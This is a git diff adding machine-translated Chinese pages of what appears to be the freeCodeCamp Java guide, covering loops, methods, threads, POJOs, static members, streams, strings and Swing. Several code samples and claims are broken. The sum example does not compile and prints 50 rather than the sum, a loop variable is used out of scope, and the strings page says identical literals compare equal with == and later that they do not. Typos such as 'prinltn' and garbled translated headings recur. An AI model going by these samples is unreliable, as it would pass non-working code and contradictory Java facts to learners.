+也称为增强型`for`循环，它是一种非常有用且简单的方法来迭代集合，数组或实现`Iterable`接口的任何对象中的每个项目。
+
+```java
+for (object : iterable) 
+ { 
+    // Statements 
+ } 
+```
+
+该循环被读作“对于`iterable`每个元素（可以是数组，可收集等）”。 `object`类型必须与`iterable`的元素类型匹配。
+
+```java
+int[] number_list = {0, 1, 2, 3, 4, 5, 6, 7, 8, 9}; 
+ 
+ for (int numbers : number_list) 
+ { 
+    System.out.print(numbers + " "); 
+    // Iterated 10 times, numbers 0,1,2...9 
+ } 
+```
+
+输出：
+```
+    0 1 2 3 4 5 6 7 8 9 
+```
+
+：rocket： [运行代码](https://repl.it/CJYs/0)
+
+将其与传统的`for`循环进行比较：
+
+```java
+int[] number_list = {0, 1, 2, 3, 4, 5, 6, 7, 8, 9}; 
+ 
+ for(int i=0;i < number_list.length;i++) 
+ { 
+  System.out.print(number_list[i]+" "); 
+      // Iterated 10 times, numbers 0,1,2...9 
+ 
+ } 
+```
+
+输出：
+```
+    0 1 2 3 4 5 6 7 8 9 
+```
+
+：rocket： [运行代码](https://repl.it/NJfG/0)
+
+上面的两段代码片段都做了同样的工作，但是，很明显，每个循环都有利于迭代和访问集合的元素（在我们的例子中，数组）更容易。
+
+使用增强的for循环，我们不再需要提及循环的起点和终点，从而减少OutofBounds错误。 删除了对循环计数器和手动索引的需求，并且改进了代码的可读性。
+
+重要的是要注意，对循环内的增强for循环进行迭代变量的更改不会导致原始集合元素的更改。
+
+增强的for循环也可以与多维数组或其他Java集合一起使用。 它与多维数字阵列的使用示例如下所示：
+
+```java
+int number_list_new[][]={  {  0,  1, 2}, 
+                  {  3, 4, 5}, 
+                  { 6, 7, 8} }; 
+ 
+ // Because 2d arrays are implemented as "arrays of arrays",the first iteration variable iterates 
+ // through 3 such arrays(that is, the 3 rows of testarr[][]) 
+ for(int i[] : number_list_new) 
+ { 
+  for(int j : i){ 
+    System.out.print(j+" "); 
+  } 
+ } 
+```
+
+输出：
+```
+0 1 2 3 4 5 6 7 8 
+```
+
+：rocket： [运行代码](https://repl.it/NJhP/0)
+
+在上面的代码片段中， `number_list`是一个数组。如果您不知道这是什么，请不要担心。数组是一个容器对象，它包含固定数量的单个类型的值，但稍后会有更多内容。
\ No newline at end of file
diff --git a/client/src/guide/chinese/java/loops/for-loop/index.md b/client/src/guide/chinese/java/loops/for-loop/index.md
new file mode 100644
index 0000000000..760dca1b86
--- /dev/null
+++ b/client/src/guide/chinese/java/loops/for-loop/index.md
@@ -0,0 +1,73 @@
+---
+title: For Loop
+localeTitle: 对于循环
+---
+# 对于循环
+
+`for`循环为您提供了一种迭代一系列值的简洁方法。 基本`for`语句有三个部分：变量初始化，布尔表达式和增量表达式。
+
+```java
+for (variable initialization; boolean expression; increment expression) 
+ { 
+    // Statements 
+ } 
+```
+
+*   `initialization` - 初始化循环并在开头只执行一次。
+
+您可以在基本`for`循环声明的第一部分初始化多个相同类型的变量;每个初始化必须用逗号分隔。
+
+*   `expression` - 在每次迭代开始时进行评估。如果`expression`计算结果为`true` ，则将执行`Statements` 。
+*   `increment` - 每次迭代循环后调用。您可以在此处增加/减少变量的值。确保增量对表达式值有效，以避免无限循环。
+
+使用`for`循环的一种常见方法是，如果需要迭代代码特定次数。例如，如果要输出数字0-10，则将计数器的变量初始化为0，然后检查该值是否小于10，并在每次迭代后向计数器添加一个。
+
+请注意，您将检查该值是否小于10，不小于或等于10，因为您将计数器设置为0。
+
+```java
+for (int iter_For = 0; iter_For < 10; iter_For++) 
+ { 
+    System.out.print(iter_For + " "); 
+    // Iterated 10 times, iter_For 0,1,2...9 
+ } 
+ 
+ System.out.println("iter_For Value: " + iter_For); 
+```
+
+注意：将for循环中的变量声明为单个语句也是可以接受的。
+
+```java
+for (int iter_For = 0; iter_For < 10; iter_For++) 
+ { 
+    System.out.print (iter_For + " "); 
+    // Iterated 10 times, iter_For 0,1,2...9 
+ } 
+```
+
+输出：
+```
+0 1 2 3 4 5 6 7 8 9 
+ iter_For Value: 10 
+```
+
+添加前50个数字的for循环的另一个例子是这样的。 i ++表示i = i + 1。
+
+```java
+int addUntil = 50; 
+ int sum 0; 
+ 
+ for (int i = 1; i <= addUntil; i++) 
+ { 
+    sum+=i 
+ } 
+ 
+ System.out.println("The sum of the first 50 numbers is: " + 50); 
+```
+
+![:rocket:](https://forum.freecodecamp.org/images/emoji/emoji_one/rocket.png?v=2 "：火箭：") [运行代码](https://repl.it/CJYr/0)
+
+### 附加功能
+
+您不能使用数字（旧的C风格的语言结构）或任何不评估布尔值的内容作为if语句或循环结构的条件。例如，你不能说if（x），除非x是一个布尔变量。
+
+此外，请务必记住，布尔表达式在某些时候必须求值为true。否则，您的程序将陷入无限循环。
\ No newline at end of file
diff --git a/client/src/guide/chinese/java/loops/index.md b/client/src/guide/chinese/java/loops/index.md
new file mode 100644
index 0000000000..f6abe4faef
--- /dev/null
+++ b/client/src/guide/chinese/java/loops/index.md
@@ -0,0 +1,24 @@
+---
+title: Loops
+localeTitle: 循环
+---
+# 循环
+
+每当您需要多次执行代码块时，通常会循环 派上用场了。
+
+Java有4种类型的循环：
+
+*   [而Loop](loops/while-loop)
+*   [做......循环](loops/do-while-loop)
+*   [对于循环](loops/for-loop)
+*   [对于每个循环](loops/for-each-loop)
+
+可以使用以下方法自定义循环行为：
+
+*   [控制声明](loops/control-statements)
+    *   [中断控制声明](loops/break-control-statement)
+    *   [继续控制声明](loops/continue-control-statement)
+
+循环的一个特例：
+
+*   [无限循环](loops/infinite-loops)
\ No newline at end of file
diff --git a/client/src/guide/chinese/java/loops/infinite-loops/index.md b/client/src/guide/chinese/java/loops/infinite-loops/index.md
new file mode 100644
index 0000000000..5de4098826
--- /dev/null
+++ b/client/src/guide/chinese/java/loops/infinite-loops/index.md
@@ -0,0 +1,65 @@
+---
+title: Infinite Loops
+localeTitle: 无限循环
+---
+# 无限循环
+
+infinte循环是一个循环语句（ `for` ， `while` ， `do-while` ），它不会自行结束。
+
+循环语句的测试条件决定循环体是否执行。因此，始终为真的测试条件将永远继续执行循环体。在infinte循环中就是这种情况。
+
+例子：
+
+```java
+// Infinite For Loop 
+ for ( ; ; ) 
+ { 
+    // some code here 
+ } 
+ 
+ // Infinite While Loop 
+ while (true) 
+ { 
+    // some code here 
+ } 
+ 
+ // Infinite Do While Loop 
+ do 
+ { 
+    // some code here 
+ } while (true); 
+```
+
+通常情况下，如果您的循环无限运行，则该错误不应发生，因为无限循环不会停止并阻止程序的其余部分运行。
+
+```java
+for(int i=0;i<100;i++){ 
+ 
+    if(i==49){ 
+    i=0; 
+    } 
+ 
+ } 
+```
+
+上面的循环无限运行，因为每次我接近49，它都被设置为0.这就是说我永远不会达到100来终止循环，所以循环是一个无限循环。
+
+但是在这样的循环中停留的程序将无限期地继续使用计算机资源。这是不合需要的，并且是一种“运行时错误”。
+
+为了防止错误，程序员使用break语句来摆脱循环。中断仅在特定条件下执行。使用像if-else这样的选择语句可以保证相同。
+
+```java
+while (true) 
+ { 
+    // do something 
+ 
+    if(conditionToEndLoop == true) 
+        break; 
+ 
+    // do more 
+ } 
+```
+
+在常规循环上使用无限循环的主要优点是可读性。
+
+有时，如果循环在中间结束，而不是在结束/开始，则循环体更容易理解。在这种情况下，无限循环将是更好的选择。
\ No newline at end of file
diff --git a/client/src/guide/chinese/java/loops/while-loop/index.md b/client/src/guide/chinese/java/loops/while-loop/index.md
new file mode 100644
index 0000000000..6af6f1ced2
--- /dev/null
+++ b/client/src/guide/chinese/java/loops/while-loop/index.md
@@ -0,0 +1,42 @@
+---
+title: While Loop
+localeTitle: 而Loop
+---
+# 而Loop
+
+`while`循环重复执行语句块，直到括号中指定的条件求值为`false` 。例如：
+
+```java
+while (some_condition_is_true) 
+ { 
+    // do something 
+ } 
+```
+
+每个'迭代'（执行语句块）之前都要对括号中指定的条件进行求值 - 只有在条件求值为`true`时才执行语句。如果计算结果为`false` ，则程序的执行将从`while`块之后的语句继续执行。
+
+**注意** ：要使`while`循环开始执行，您最初需要条件为`true` 。但是，要退出循环，必须在语句块中执行某些操作，以便在条件计算结果为`false`时最终到达迭代（如下所示）。否则循环将永远执行。 （实际上，它会一直运行直到[JVM](https://guide.freecodecamp.org/java/the-java-virtual-machine-jvm)内存不足。）
+
+## 例
+
+在以下示例中， `expression`由`iter_While < 10`给出。每次执行循环时，我们将`iter_While`增加`1` 。当`iter_While`值达到`10`时， `while`循环中断。
+
+```java
+int iter_While = 0; 
+ while (iter_While < 10) 
+ { 
+    System.out.print(iter_While + " "); 
+    // Increment the counter 
+    // Iterated 10 times, iter_While 0,1,2...9 
+    iter_While++; 
+ } 
+ System.out.println("iter_While Value: " + iter_While); 
+```
+
+输出：
+```
+0 1 2 3 4 5 6 7 8 9 
+ iter_While Value: 10 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 "：火箭：") [运行代码](https://repl.it/CJYj/0)
\ No newline at end of file
diff --git a/client/src/guide/chinese/java/methods/index.md b/client/src/guide/chinese/java/methods/index.md
new file mode 100644
index 0000000000..e69a0e9a89
--- /dev/null
+++ b/client/src/guide/chinese/java/methods/index.md
@@ -0,0 +1,89 @@
+---
+title: Methods
+localeTitle: 方法
+---
+# 方法
+
+Java中最容易识别的方法可能是`public static void main(String[]args)` ，其中`public`表示用户可以访问该方法， `static`表示该方法基于“类”而不是“实例”， `void`表示没有任何东西会从方法返回到另一个（更高级别）方法，而`main`是这个特定方法的名称。
+
+`getName()`和`getManufacturerName()`是我们在这里使用的两个“Getter”方法。通常，Java中的方法包含以下部分 -
+
+*   Access Modifer（可选） - `public` ， `private`或`protected` 。如果省略，则默认为package private
+*   返回类型 - 这是必需的，它表示方法返回的值，如果没有返回任何值，则返回`void`
+*   方法名称 - 遵循camelCase约定
+*   参数列表 - 参数列表及其名称和类型，如果没有接受参数，则为空
+*   方法体被`{ }`包围
+
+方法也可以选择使用`static`关键字，这意味着它与类本身相关联，而不是类的实例，ex - `public static void main()` 。
+
+请注意，与JavaScript不同，我们**必须**定义我们编写的任何方法的返回类型，否则它将在编译时失败。如果您不希望方法返回任何内容，请使用`void` return type。
+
+每个方法都有一个签名，它是数据类型，名称和方法所用参数数量的组合。在`public static void main`该方法没有指定的数据类型，而是使用`void`来声明不返回任何数据。在名为`public static double ave(double val, double val)`的方法中，数据类型为“double”（0.0），名称为“ave”（平均值），方法采用2个参数。每种方法都**必须**具有唯一的签名。
+
+```java
+public class Car { 
+    private String name; 
+    private String manufacturersName; 
+ 
+    public void changeName() { 
+        name = "Tesla"; 
+    } 
+ 
+    public String getName(){ 
+        return name; 
+    } 
+ 
+    public String getManufacurername(){ 
+        return manufacturersName; 
+    } 
+ 
+ } 
+```
+
+参数可以传递给方法。参数在括号内的方法名称后面声明。 参数声明的语法是\[数据类型\] \[名称\]。
+
+```java
+public class Car { 
+    private String name; 
+ 
+    public void changeName(String newName) { 
+        name = newName; 
+    } 
+ } 
+```
+
+与任何其他语言一样，方法（或函数，如果您来自JS世界）经常用于其模块化和可重用性。
+
+方法通常用于许多目的，例如更新对象中的信息或将数据提供给调用者。这里有些例子。
+
+```java
+public class Car { 
+    private int numberOfWheels; 
+ 
+    public void setNumberOfWheels(int newNumberOfWheels) { 
+        numberOfWheels = newNumberOfWheels; 
+    } 
+ 
+    public int getNumberOfWheels() { 
+        return numberOfWheels; 
+    } 
+ } 
+```
+
+在`getNumberOfWheels()`的情况下，返回类型是`int` ，它是整数。关键字`return`告诉java传回实例变量`numberOfWheels`的值。然而， `setNumberOfWheels(int newNumberOfWheels)`没有返回类型，因为它是如前所述的setter方法。在这种情况下，虽然它接受`int`类型的参数并使实例变量`numberOfWheels`等于`newNumberOfWheels` 。
+
+还有一种称为构造函数的特殊方法，允许在实例化类时设置数据或执行操作。此构造函数没有返回类型。
+
+```java
+public class Car { 
+    private String model; 
+    private int numberOfWheels; 
+ 
+    public Car(String model, int numberOfWheels) { 
+        this.model = model; 
+        this.numberOfWheels = numberOfWheels; 
+    } 
+ } 
+```
+
+`Car`类和`Car(String model, int numberOfWheels)`方法必须具有相同的名称，以便java知道它是构造函数。现在，只要您使用`new`关键字实例化新的`Car`实例，就需要调用此构造函数并传入所需的数据。
\ No newline at end of file
diff --git a/client/src/guide/chinese/java/multithreading/index.md b/client/src/guide/chinese/java/multithreading/index.md
new file mode 100644
index 0000000000..fee7351c9b
--- /dev/null
+++ b/client/src/guide/chinese/java/multithreading/index.md
@@ -0,0 +1,35 @@
+---
+title: Multithreading
+localeTitle: 多线程
+---
## 多线程
+
+多线程是一个同时执行多个进程的过程。 Java使用主线程启动程序，并且只要有任何用户创建它，就会在主线程上添加更多线程。主线程是任何Java程序中的第一个用户线程。此外，JVM确保在程序结束之前关闭所有用户线程。
+
+线程既有优点也有缺点。
+
+## 好处：
+
+*   独立于其他线程运行代码。
+*   创建模块化设计。
+
+## 缺点：
+
+如果线程未正确同步，则会出现竞争条件和死锁。
+
+线程可以进一步分为两类：
+
+*   用户线程
+*   守护线程
+
+可以通过两种方式创建线程：
+
+1.  实现Runnable接口： Runnable接口中只有一个方法，即public void run（）。实现此方法将确保每当此线程启动时，run（）内的代码执行。
+    
+2.  扩展线程类。 这个类还包含public void run（），为了运行我们自己的代码，我们需要覆盖它们。使用此方法的缺点是我们在Thread中有一个超类，并且不能扩展我们可能想要的任何其他类。
+    
+
+两者的代码可以在这里找到：http：//ide.geeksforgeeks.org/k7GjcA。
+
+您会注意到，如果多次运行此代码，结果可能会有所不同。这是由运行它的操作系统决定的。操作系统可以从可运行状态中选择任何线程并运行它。我们没有控制权。如果有多个线程处于可运行状态（准备运行），则可以挑选任何人。它甚至不依赖于优先权。
+
+更多详情：https：//www.ntu.edu.sg/home/ehchua/programming/java/J5e\_multithreading.html
\ No newline at end of file
diff --git a/client/src/guide/chinese/java/pojo/index.md b/client/src/guide/chinese/java/pojo/index.md
new file mode 100644
index 0000000000..c944fa607b
--- /dev/null
+++ b/client/src/guide/chinese/java/pojo/index.md
@@ -0,0 +1,39 @@
+---
+title: POJO
+localeTitle: POJO
+---
+## POJO
+
+POJO代表“Plain Old Java Object”。这与Plain Old _Javascript_ Objects不同。 Plain Old Java Object指的是Java编程语言中使用的面向对象编程（OOP）范例。 [OOP模型](https://en.wikipedia.org/wiki/Object-oriented_programming)将数据视为“对象”。每个“对象”都是“类”的一个实例，它表示所有对象从中继承其属性和属性的原型或模板。
+
+因此，POJO只是一个Java对象。但是，它还必须满足以下附加标准：
+
+1.  它不能扩展预先指定的Java类;
+
+```java
+public class Foo extends javax.servlet.http.HttpServlet { 
+ ...// body ... 
+ } 
+```
+
+2.  它不得实现预先指定的接口;
+
+```java
+public class Bar implements javax.ejb.EntityBean { 
+  ...  // body 
+ } 
+```
+
+3.  它不得包含预先指定的注释。
+
+```java
+@javax.persistence.Entity public class Baz { 
+  ... // body ... 
+ } 
+```
+
+因此，只有在没有上述修改的情况下，Java对象才有资格作为POJO。因此，遵循正式Java语言规范规定的POJO不受“任何限制”约束。
+
+#### 更多信息：
+
+[维基百科 - POJO](https://en.wikipedia.org/wiki/Plain_old_Java_object)
\ No newline at end of file
diff --git a/client/src/guide/chinese/java/regular-expressions/index.md b/client/src/guide/chinese/java/regular-expressions/index.md
new file mode 100644
index 0000000000..fa43e02859
--- /dev/null
+++ b/client/src/guide/chinese/java/regular-expressions/index.md
@@ -0,0 +1,11 @@
+---
+title: Regular Expressions
+localeTitle: 常用表达
+---
+## 常用表达
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/java/resources/index.md b/client/src/guide/chinese/java/resources/index.md
new file mode 100644
index 0000000000..76c870e7ad
--- /dev/null
+++ b/client/src/guide/chinese/java/resources/index.md
@@ -0,0 +1,49 @@
+---
+title: Resources
+localeTitle: 资源
+---
+# 资源
+
+Java是Oracle的商标和许可。除非由Oracle托管，否则以下大部分内容都是非官方资源。
+
+## 教程
+
+*   [Oracle官方Java教程](http://docs.oracle.com/javase/tutorial/index.html)
+*   [想想Java](http://greenteapress.com/wp/think-java/)
+*   [Jenkov的Java教程](http://tutorials.jenkov.com/java/index.html)
+*   [Mkyong的Java和Spring教程](http://www.mkyong.com/)
+*   [Vogella的Java教程](http://www.vogella.com/tutorials/java.html)
+*   [Java 8教程](https://github.com/winterbe/java8-tutorial)
+*   [更好的Java](https://github.com/cxxr/better-java)
+*   [NTU的Java编程说明](http://www3.ntu.edu.sg/home/ehchua/programming/index.html#Java)
+*   [HackerRank的30天代码挑战与Java视频教程<](https://www.hackerrank.com/domains/tutorials/30-days-of-code)
+*   [普林斯顿的Java编程入门](http://introcs.cs.princeton.edu/java/home/)
+*   [使用Java编程简介](http://math.hws.edu/javanotes/)
+*   [Java实践](http://javapractices.com/home/HomeAction.do)
+*   [Java设计模式](https://github.com/iluwatar/java-design-patterns/)
+*   [Java中的算法](https://github.com/pedrovgs/Algorithms)
+*   [春季官方指南](https://spring.io/guides)
+*   [TutorialsPoint - Java](http://www.tutorialspoint.com/java/)
+*   [Java for Small Teams](https://www.gitbook.com/book/ncrcoe/java-for-small-teams/details)
+
+## 挑战
+
+*   [Java Koans](https://github.com/matyb/java-koans)
+*   [编码Bat Java挑战](http://codingbat.com/java)
+*   [Excercism Java挑战](http://exercism.io/languages/java)
+*   [项目欧拉](https://projecteuler.net/)
+*   [练习吧！ - Java挑战](http://practiceit.cs.washington.edu/)
+*   [Codewars - Java Katas](https://www.codewars.com/?language=java)
+*   [HackerRank Java挑战](https://www.hackerrank.com/domains/java/java-introduction)
+*   [本文给出了](https://leetcode.com/)
+*   [CodeAbbey](http://www.codeabbey.com/)
+
+## 社区
+
+*   [Oracle Java社区](http://www.oracle.com/technetwork/java/community/index.html)
+*   [真棒Java](https://github.com/akullpp/awesome-java)
+*   [/ R / Java的](https://www.reddit.com/r/Java)
+*   [/ R / LearnJava](https://www.reddit.com/r/learnjava)
+*   [Java Ranch](http://www.javaranch.com/)
+*   [Java Code Geeks](https://www.javacodegeeks.com/)
+*   [Java 8 API搜索](http://javasearch.org)
\ No newline at end of file
diff --git a/client/src/guide/chinese/java/static/index.md b/client/src/guide/chinese/java/static/index.md
new file mode 100644
index 0000000000..98032e7666
--- /dev/null
+++ b/client/src/guide/chinese/java/static/index.md
@@ -0,0 +1,132 @@
+---
+title: Static
+localeTitle: 静态的
+---
+# 静态的
+
+将变量或方法声明为静态时，它属于类，而不是特定实例。这意味着只有一个静态成员实例存在，即使您创建了该类的多个对象，或者您没有创建任何实例。它将由所有对象共享。
+
+static关键字可以与变量，方法，代码块和嵌套类一起使用。
+
+## 静态变量
+
+**_例：_**
+
+```java
+public class Counter { 
+  public static int COUNT = 0; 
+  Counter() { 
+    COUNT++; 
+  } 
+ } 
+```
+
+`COUNT`变量将由该类的所有对象共享。当我们在main中创建Counter类的对象时，访问静态变量。
+
+```java
+public class MyClass { 
+  public static void main(String[] args) { 
+    Counter c1 = new Counter(); 
+    Counter c2 = new Counter(); 
+    System.out.println(Counter.COUNT); 
+  } 
+ } 
+ // Outputs "2" 
+```
+
+outout是2，因为`COUNT`变量是静态的，并且每次创建Counter类的新对象时都会增加1。您还可以使用该类的任何对象访问静态变量，例如`c1.COUNT` 。
+
+## 静态方法
+
+静态方法属于类而不是实例。因此，可以在不创建类实例的情况下调用它。它用于改变类的静态内容。静态方法有一些限制：
+
+1.  静态方法不能使用类的非静态成员（变量或函数）。
+2.  静态方法不能使用`this`或`super`关键字。
+
+**_例：_**
+
+```java
+public class Counter { 
+  public static int COUNT = 0; 
+  Counter() { 
+    COUNT++; 
+  } 
+ 
+  public static void increment(){ 
+    COUNT++; 
+  } 
+ } 
+```
+
+也可以从类的实例调用静态方法。
+
+```java
+public class MyClass { 
+  public static void main(String[] args) { 
+    Counter.increment(); 
+    Counter.increment(); 
+    System.out.println(Counter.COUNT); 
+  } 
+ } 
+ // Outputs "2" 
+```
+
+输出为2，因为它通过静态方法`increament()`递增。与静态变量类似，也可以使用实例变量访问静态方法。
+
+## 静态块
+
+静态代码块用于初始化静态变量。声明静态变量后立即执行这些块。
+
+**_例：_**
+
+```java
+public class Saturn { 
+  public static final int MOON_COUNT; 
+ 
+  static { 
+    MOON_COUNT = 62; 
+  } 
+ } 
+```
+
+```java
+public class Main { 
+  public static void main(String[] args) { 
+    System.out.println(Saturn.MOON_COUNT); 
+  } 
+ } 
+ // Outputs "62" 
+```
+
+输出为62，因为变量`MOON_COUNT`在静态块中分配了该值。
+
+## 静态嵌套类
+
+一个类可以有静态嵌套类，可以使用外部类名访问它。
+
+**_例：_**
+
+```java
+public class Outer { 
+ 
+  public Outer() { 
+  } 
+ 
+  public static class Inner { 
+    public Inner() { 
+    } 
+  } 
+ } 
+```
+
+在上面的示例中， `Inner`类可以作为类`Outer`的静态成员直接访问。
+
+```java
+public class Main { 
+  public static void main(String[] args) { 
+    Outer.Inner inner = new Outer.Inner(); 
+  } 
+ } 
+```
+
+[Builder中](https://en.wikipedia.org/wiki/Builder_pattern#Java)常用的静态嵌套类的一个用例java。
\ No newline at end of file
diff --git a/client/src/guide/chinese/java/streams/index.md b/client/src/guide/chinese/java/streams/index.md
new file mode 100644
index 0000000000..cc4cb5cda4
--- /dev/null
+++ b/client/src/guide/chinese/java/streams/index.md
@@ -0,0 +1,99 @@
+---
+title: Streams
+localeTitle: 流
+---
+# 流
+
+在Java 8中，Streams被添加为Java工具箱的新功能。 Streams允许您快速，干净地处理集合。
+
+在继续之前，请阅读有关lambdas和函数式编程的章节。
+
+## 怎么运行的
+
+Stream为您循环集合的元素。 为每个对象调用每个中间和终端操作。 完成第一个对象的所有操作后，将加载第二个对象。
+
+## 重要方法
+
+### 创建
+
+*   `Collection.stream()` ：从任何实现`Collection`类中的任何对象创建一个Stream
+*   `Arrays.stream(array)` ：从Array创建一个Stream
+
+### 中级操作
+
+这些操作以某种方式转换流对象。
+
+*   `Stream.map(Function<In,Out> function)` ：应用函数将In转换为Out
+*   `Stream.filter(Predicate<In> predicate)` ：从Stream中删除对象，谓词不测试为true
+*   `Stream.distinct()` ：从Stream中删除重复的对象
+*   `Stream.sorted()` ：对Stream中的对象进行排序
+*   `Stream.limit(int n)` ：在n个对象之后的end `Stream.limit(int n)`
+
+### 终端操作
+
+这些操作接收流对象并结束流。
+
+*   `Stream.collect(Collector<In,?,Out> collector)` ：将Stream中的所有对象收集到Object中
+*   `Stream.forEach(Consumer<In> consumer)` ：使用使用者函数使用Stream中的所有对象
+*   `Stream.count()` ：计算Stream中的所有对象
+*   `Stream.findFirst()` ：返回Stream的第一个Object并停止
+*   `Stream.anyMatch(Predicate<In> predicate)` ：如果Stream中的任何Object对Predicate测试为true，则返回true
+*   `Stream.allMatch(Predicate<In> predicate)` ：如果Stream中的所有Object对Predicate测试为true，则返回true
+
+## 例子
+
+```java
+// print the length of all Strings in a List 
+ for (String string : Arrays.asList("abc", "de", "f", "abc")) { 
+    int length = string.length(); 
+    System.out.println(length); 
+ } 
+ 
+ Arrays.asList("abc", "de", "f", "abc") 
+        .stream() 
+        .map(String::length) 
+        .forEach(System.out::println); 
+ 
+ // output: 3 2 1 3 
+```
+
+```java
+// print all Strings in a List with a Length greater than 2 
+ for (String string : Arrays.asList("abc", "de", "f", "abc")) { 
+    if (string.length() > 2) { 
+        System.out.println(string); 
+    } 
+ } 
+ 
+ Arrays.asList("abc", "de", "f", "abc") 
+        .stream() 
+        .filter(string -> string.length() > 2) 
+        .forEach(System.out::println); 
+ 
+ // output: abc abc 
+```
+
+```java
+// create a sorted List with all unique Strings from another List which are longer than or requal 2 
+ List<String> result = new ArrayList<>(); 
+ for (String string : Arrays.asList("de", "abc", "f", "abc")) { 
+    if (string.length() >= 2 
+            && ! result.contains(string)) { 
+        result.add(string); 
+    } 
+ } 
+ Collections.sort(result); 
+ 
+ List<String> result2 = Arrays.asList("de", "abc", "f", "abc") 
+        .stream() 
+        .filter(string -> string.length() >= 2) 
+        .distinct() 
+        .sorted() 
+        .collect(Collectors.toList()); 
+ 
+ // result: abc de 
+```
+
+### 来源
+
+1.  [使用Java SE 8 Streams处理数据，第1部分](http://www.oracle.com/technetwork/articles/java/ma14-java-se-8-streams-2177646.html)
\ No newline at end of file
diff --git a/client/src/guide/chinese/java/strings/index.md b/client/src/guide/chinese/java/strings/index.md
new file mode 100644
index 0000000000..6c7e161d0c
--- /dev/null
+++ b/client/src/guide/chinese/java/strings/index.md
@@ -0,0 +1,140 @@
+---
+title: Strings
+localeTitle: 字符串
+---
+# 字符串
+
+字符串是字符序列。在Java中， `String`是一个`Object` 。字符串不应与`char`混淆，因为字符实际上是1个值而不是字符序列。您仍然可以在String中使用1个值，但是在检查1个字符时最好使用`char` 。
+
+```java
+String course = "FCC"; 
+ System.out.println(course instanceof Object); 
+```
+
+输出：
+```
+true 
+```
+
+您可以通过以下方式创建String对象：
+
+1.  `String str = "I am a String"; //as a String literal`
+2.  `String str = "I am a " + "String"; //as a constant expression`
+3.  `String str = new String("I am a String"); //as a String Object using the constructor`
+
+你可能会想：这三者有什么区别？
+
+好吧，使用`new`关键字可以保证创建一个新的`String`对象，并在`Heap`分配一个新的内存位置 记忆[（点击这里了解更多）](https://docs.oracle.com/cd/E13150_01/jrockit_jvm/jrockit/geninfo/diagnos/garbage_collect.html) 。串 文本和常量String表达式在编译时缓存。编译器将它们放在String Literal Pool中以防止重复 并改善内存消耗。对象分配很昂贵，这个技巧在实例化字符串时提高了性能。如果你使用 再次使用相同的文字，JVM使用相同的对象。使用上面这样的构造函数几乎总是更糟糕的选择。
+
+在此代码段中，创建了多少个String对象？
+
+```java
+String str = "This is a string"; 
+ String str2 = "This is a string"; 
+ String str3 = new String("This is a string"); 
+```
+
+答案是：创建2个String对象。 `str`和`str2`都指向同一个对象。 `str3`具有相同的内容，但使用`new`强制 创造一个新的，独特的对象。
+
+当您创建String文本时，JVM会在内部检查所谓的`String pool` ，以查看它是否可以找到类似的内容（内容明智） 字符串对象。如果找到它，则返回相同的引用。否则，它只是继续并在池中创建一个新的String对象，以便 将来可以进行相同的检查。
+
+您可以使用swallow，fast Object comparison `==`和实现的`equals()`来测试它。
+
+```java
+System.out.println(str == str2); // This prints 'true' 
+ System.out.println(str == str3); // This prints 'false' 
+ System.out.println(str.equals(str3)); // This prints 'true' 
+```
+
+这是另一个关于如何使用不同方法在Java中创建字符串的示例：
+
+```java
+public class StringExample{ 
+ 
+   public static void main(String args[]) { 
+      String s1 = "java";  // creating string by Java string literal 
+      char ch[] = {'s','t','r','i','n','g','s'}; 
+      String s2 = new String(ch);  // converting char array to string 
+      String s3 = new String("example");  // creating Java string by new keyword 
+      System.out.println(s1); 
+      System.out.println(s2); 
+      System.out.println(s3); 
+   } 
+ } 
+```
+
+#### 比较字符串
+
+如果要比较两个String变量的值，则不能使用==。这是因为这将比较变量的引用 而不是链接到它们的值。要比较字符串的存储值，请使用方法equals。
+
+```java
+boolean equals(Object obj) 
+```
+
+如果两个对象相等则返回true，否则返回false。
+
+```java
+String str = "Hello world"; 
+ String str2 = "Hello world"; 
+ 
+ System.out.println(str == str2); // This prints false 
+ System.out.println(str.equals(str2); // This prints true 
+```
+
+第一个比较是假的，因为“==”查看引用并且它们不相同。
+
+第二个比较是正确的，因为变量存储相同的值。在这种情况下，“Hello world”。
+
+我们在String中有几个内置方法。以下是String Length（）方法的示例。
+
+```java
+public class StringDemo { 
+ 
+   public static void main(String args[]) { 
+      String palindrome = "Dot saw I was Tod"; 
+      int len = palindrome.length(); 
+      System.out.println( "String Length is : " + len ); 
+   } 
+ } 
+```
+
+这将导致 - `String Length is : 17`
+
+**答案是：**创建**2个** String对象。 **笔记**
+
+1.  String方法使用从零开始的索引，但`substring()`的第二个参数除外。
+2.  String类是final - 它的方法不能被覆盖。
+3.  当JVM找到String文字时，它将被添加到字符串文字池中。
+4.  String类具有方法名`length()` ，而数组具有属性命名长度。
+5.  在java中，字符串对象是不可变的。永恒只是意味着不可修改或不可改变。创建字符串对象后，无法更改其数据或状态，但会创建新的字符串对象。
+
+字符串长度
+
+字符串的“长度”只是其中的字符数。所以“hi”是长度2，“Hello”是长度5.字符串上的length（）方法返回它的长度，如下所示：
+
+```java
+String a = "Hello"; 
+ int len = a.length();  // len is 5 
+```
+
+#### 其他可以在String上使用的比较方法是：
+
+1.  equalsIgnoreCase（）： - 比较字符串而不考虑区分大小写。
+
+```java
+String a = "HELLO"; 
+ String b = "hello"; 
+ System.out.println(a.equalsIgnoreCase(b));   // It will print true 
+```
+
+2.  compareTo： - 按字典顺序比较值并返回一个整数。
+
+```java
+String a = "Sam"; 
+ String b = "Sam"; 
+ String c = "Ram"; 
+ System.out.println(a.compareTo(b));       // 0 
+ System.out.prinltn(a.compareTo(c));       // 1 since (a>b) 
+ System.out.println(c.compareTo(a));       // -1 since (c<a) 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/java/swing/index.md b/client/src/guide/chinese/java/swing/index.md
new file mode 100644
index 0000000000..674bccbee7
--- /dev/null
+++ b/client/src/guide/chinese/java/swing/index.md
@@ -0,0 +1,36 @@
+---
+title: Java Swing
+localeTitle: Java Swing
+---
+## Java Swing
+
+让我们来探索Java swing教程。在使用Swing弄脏之前，建议您浏览[Abstract Window Toolkit（AWT）。](https://www.studytonight.com/java/java-awt.php)之前，Swing是作为[Java Foundation Classes（JFC）](https://en.wikipedia.org/wiki/Java_Foundation_Classes)的一部分添加的。但是它完全从Java合并到Java中1.2起。
+
